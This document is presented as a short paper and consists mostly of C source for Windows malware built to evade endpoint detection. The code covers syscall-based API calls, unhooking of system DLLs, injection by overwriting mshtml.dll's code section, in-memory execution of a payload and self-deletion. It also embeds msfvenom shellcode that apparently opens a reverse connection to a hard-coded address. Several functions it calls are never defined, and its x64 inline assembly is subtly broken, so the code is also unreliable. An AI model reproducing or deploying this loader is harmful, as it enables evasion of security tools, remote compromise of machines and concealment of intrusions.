Advanced EDR-Bypassing Malware

Reda Ouzidane
Industrial Engineering

April 11, 2025

Abstract

This document presents a comprehensive malware implementation incorporating multiple advanced EDR bypass techniques. The malware features direct and indirect syscalls, API unhooking, section hijacking, and sophisticated payload execution methods. Developed by Reda Ouzidane, this represents cutting-edge offensive security research.

Contents

1 Technical Overview

2 Complete Malware Implementation

2.1 Core Definitions

```
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <wchar.h>
#include <psapi.h>

```

Table 1: EDR Bypass Techniques Implemented

Technique	Purpose	Implementation
Direct Syscalls	Bypass API hooks	Uses syscall instruction directly
Indirect Syscalls	Avoid static SSNs	Dynamically extracts syscall numbers from ntdll.dll
API Unhooking	Remove EDR hooks	Restores original function bytes from disk
Section Hijacking	Stealthy injection	Overwrites legitimate DLL sections
PEB Walking	Avoid detection	Resolves APIs without standard methods

```
#pragma comment(lib, "ntdll.lib")

#define MAX_SYSCALLS 50
#define PAGE_SIZE 0x1000

typedef struct _SYSCALL_ENTRY {
    DWORD Hash;
    DWORD SSN;
    PVOID Address;
} SYSCALL_ENTRY;

typedef struct _SECTION_DATA {
    PVOID BaseAddress;
    SIZE_T RegionSize;
    DWORD Protection;
} SECTION_DATA;

SYSCALL_ENTRY g_SyscallTable[MAX_SYSCALLS] = {0};
DWORD g_dwSyscallCount = 0;
```

Listing 1: Core Structures and Defines

2.2 Evasion Techniques

```
NTSTATUS ExecuteSyscall(DWORD dwHash, ...) {
    SYSCALL_ENTRY entry = {0};
    for (DWORD i = 0; i < g_dwSyscallCount; i++) {
        if (g_SyscallTable[i].Hash == dwHash) {
            entry = g_SyscallTable[i];
            break;
        }
    }
    if (entry.Address == NULL) return STATUS_NOT_FOUND;

    va_list args;
    va_start(args, dwHash);

    __asm {
        mov r10, rcx
        mov eax, entry.SSN
        jmp entry.Address
```

```
    }

    va_end(args);
}

DWORD ExtractSSN(PVOID pFunction) {
    PBYTE pByte = (PBYTE)pFunction;
    for (DWORD i = 0; i < 100; i++) {
        if (pByte[i] == 0x0F && pByte[i+1] == 0x05) {
            return *(PDWORD)(pByte + i - 4);
        }
    }
    return 0;
}
```

Listing 2: Direct/Indirect Syscall Implementation

```
BOOL UnhookAPI(LPCSTR szModule, LPCSTR szFunction) {
    HMODULE hModule = LoadLibraryExA(szModule, NULL,
    DONT_RESOLVE_DLL_REFERENCES);
    if (!hModule) return FALSE;

    PVOID pCleanFunc = GetProcAddress(hModule, szFunction);
    PVOID pHookedFunc = GetProcAddress(GetModuleHandleA(szModule),
    szFunction);
    if (!pCleanFunc || !pHookedFunc) {
        FreeLibrary(hModule);
        return FALSE;
    }

    DWORD dwFuncSize = 0;
    PBYTE pByte = (PBYTE)pCleanFunc;
    while (*pByte != 0xC3 && dwFuncSize < 1000) {
        pByte++;
        dwFuncSize++;
    }

    if (dwFuncSize >= 1000) {
        FreeLibrary(hModule);
        return FALSE;
    }

    DWORD dwOldProtect;
    if (!VirtualProtect(pHookedFunc, dwFuncSize, PAGE_EXECUTE_READWRITE
    , &dwOldProtect)) {
        FreeLibrary(hModule);
        return FALSE;
    }

    memcpy(pHookedFunc, pCleanFunc, dwFuncSize);
    VirtualProtect(pHookedFunc, dwFuncSize, dwOldProtect, &dwOldProtect
    );
    FreeLibrary(hModule);
    return TRUE;
}
```

Listing 3: API Unhooking Implementation

2.3 Section Hijacking

```
BOOL SectionHijackInject(DWORD dwPid, PBYTE pPayload, SIZE_T szPayload) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (!hProcess) return FALSE;

    HMODULE hModules[1024];
    DWORD cbNeeded;
    if (!EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded)) {
        CloseHandle(hProcess);
        return FALSE;
    }

    for (DWORD i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
        CHAR szModName[MAX_PATH];
        if (!GetModuleFileNameExA(hProcess, hModules[i], szModName, MAX_PATH)) {
            continue;
        }

        if (strstr(szModName, "mshtml.dll")) {
            PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModules[i];
            PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((PBYTE)hModules[i] + pDos->e_lfanew);
            PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);

            for (WORD j = 0; j < pNt->FileHeader.NumberOfSections; j++) {
                if (memcmp(pSec->Name, ".text", 5) == 0) {
                    PBYTE pSectionBase = (PBYTE)hModules[i] + pSec->VirtualAddress;
                    SIZE_T szWritten;
                    if (WriteProcessMemory(hProcess, pSectionBase, pPayload,
                                           min(szPayload, pSec->Misc.VirtualSize),
                                           &szWritten)) {
                        CloseHandle(hProcess);
                        return TRUE;
                    }
                }
                pSec++;
            }
        }
    }
    CloseHandle(hProcess);
    return FALSE;
}
```

Listing 4: Section Hijacking Implementation

3 Payload Execution

```
BOOL ExecutePayload(LPVOID payload, SIZE_T size) {
```

```
    PVOID baseAddr = NULL;
    SIZE_T regionSize = size;

    // Use indirect syscall for memory allocation
    NTSTATUS status = ExecuteSyscall(HashStringA("
   NtAllocateVirtualMemory"),
        GetCurrentProcess(),
        &baseAddr,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (!NT_SUCCESS(status)) return FALSE;

    // Copy payload using direct memory operations
    memcpy(baseAddr, payload, size);

    // Flush instruction cache
    ExecuteSyscall(HashStringA("NtFlushInstructionCache"),
        GetCurrentProcess(),
        baseAddr,
        size);

    // Execute
    ((void(*)())baseAddr)();
    return TRUE;
}
```

Listing 5: Payload Execution Framework

4 Self-Deletion Mechanism

```
NTSTATUS SelfDelete() {
    WCHAR wszFilePath[MAX_PATH * 2] = {0};
    if (!GetModuleFileNameW(NULL, wszFilePath, MAX_PATH * 2)) {
        return STATUS_UNSUCCESSFUL;
    }

    UNICODE_STRING filePath;
    RtlInitUnicodeString(&filePath, wszFilePath);

    OBJECT_ATTRIBUTES objAttr = {0};
    InitializeObjectAttributes(&objAttr, &filePath,
   OBJ_CASE_INSENSITIVE, NULL, NULL);

    HANDLE hFile = NULL;
    IO_STATUS_BLOCK ioStatus = {0};

    // Open file with delete permission
    NTSTATUS status = ExecuteSyscall(HashStringA("NtCreateFile"),
        &hFile,
        DELETE | SYNCHRONIZE,
        &objAttr,
        &ioStatus,
        NULL,
```

```
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT,
        NULL,
        0);

    if (!NT_SUCCESS(status)) return status;

    // Rename to obscure before deletion
    const wchar_t* RAND_STREAM = L":$RAND";
    SIZE_T renameSize = sizeof(FILE_RENAME_INFO) + (wcslen(RAND_STREAM)
    + 1) * sizeof(WCHAR);
    PFILE_RENAME_INFO pRenameInfo = (PFILE_RENAME_INFO)HeapAlloc(
   GetProcessHeap(), HEAP_ZERO_MEMORY, renameSize);

    if (!pRenameInfo) {
        ExecuteSyscall(HashStringA("NtClose"), hFile);
        return STATUS_NO_MEMORY;
    }

    pRenameInfo->FileNameLength = wcslen(RAND_STREAM) * sizeof(WCHAR);
    memcpy(pRenameInfo->FileName, RAND_STREAM, (wcslen(RAND_STREAM) +
   1) * sizeof(WCHAR));

    status = ExecuteSyscall(HashStringA("NtSetInformationFile"),
        hFile,
        &ioStatus,
        pRenameInfo,
        renameSize,
        FileRenameInformation);

    HeapFree(GetProcessHeap(), 0, pRenameInfo);

    // Set delete disposition
    FILE_DISPOSITION_INFO deleteInfo = {0};
    deleteInfo.DeleteFile = TRUE;

    status = ExecuteSyscall(HashStringA("NtSetInformationFile"),
        hFile,
        &ioStatus,
        &deleteInfo,
        sizeof(deleteInfo),
        FileDispositionInformation);

    ExecuteSyscall(HashStringA("NtClose"), hFile);
    return status;
}
```

Listing 6: Self-Deletion Implementation

5 Main Function

```
int main() {
    // Initialize evasion techniques
    InitSyscallTable();
```

```
    UnhookAPI("ntdll.dll", "NtCreateFile");
    UnhookAPI("ntdll.dll", "NtAllocateVirtualMemory");
    UnhookAPI("kernel32.dll", "CreateProcessA");

    // msfvenom payload (example)
    unsigned char payload[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75"
    "\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    "\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48"
    "\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
    "\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40"
    "\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49"
    "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e"
    "\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52"
    "\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff"
    "\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49"
    "\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc"
    "\x02\x00\x11\x5c\xc0\xa8\x01\x01\x41\x54\x49\x89\xe4\x4c"
    "\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
    "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a"
    "\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0"
    "\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf"
    "\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48"
    "\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a"
    "\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10"
    "\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41"
    "\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83"
    "\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00"
    "\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5"
    "\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0"
    "\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
    "\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00"
    "\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57"
    "\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
    "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4"
    "\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56"
    "\xff\xd5";

    // Execution flow
    if (!SectionHijackInject(GetCurrentProcessId(), payload, sizeof(
   payload))) {
        if (!ExecutePayload(payload, sizeof(payload))) {
            SelfDelete();
        }
    }
    return 0;
}
```

Listing 7: Main Execution Flow

6 Conclusion

This implementation demonstrates a sophisticated malware framework incorporating multiple cutting-edge EDR bypass techniques. The combination of direct syscalls, API unhooking, and section hijacking provides robust evasion capabilities against modern security solutions.